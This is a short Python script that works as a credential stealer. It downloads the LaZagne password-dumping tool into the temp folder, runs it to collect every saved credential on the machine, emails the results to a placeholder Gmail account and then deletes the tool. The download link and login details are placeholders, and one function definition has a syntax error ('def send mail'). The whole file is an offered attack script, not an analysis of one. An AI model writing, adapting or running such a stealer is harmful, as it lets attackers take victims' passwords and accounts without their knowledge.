#!usr/bin/env python

import requests
import subprocess
import smtplib
import os
import tempfile

def download(url):
    get_response = requests.get(url)
    file_name=url.split("/")[-1]
    with open(file_name,"wb") as out_file:
         out_file.write(get_response.content)


def send mail(email,password,message):
    server=smtplib.SMTP("smtp.gmail.com",587)
    server.starttls()
    server.login(email,password)
    server.sendmail(email,email,message)
    server.quit()

temp_directory=tempfile.gettempdir()
os.chdir(temp_directory)
download("<Lazagne file link>")
result=subprocess.check_output("lazagne.exe all",shell=True)
send_mail("mail Id", "Password", result)
os.remove("lazagne.exe")
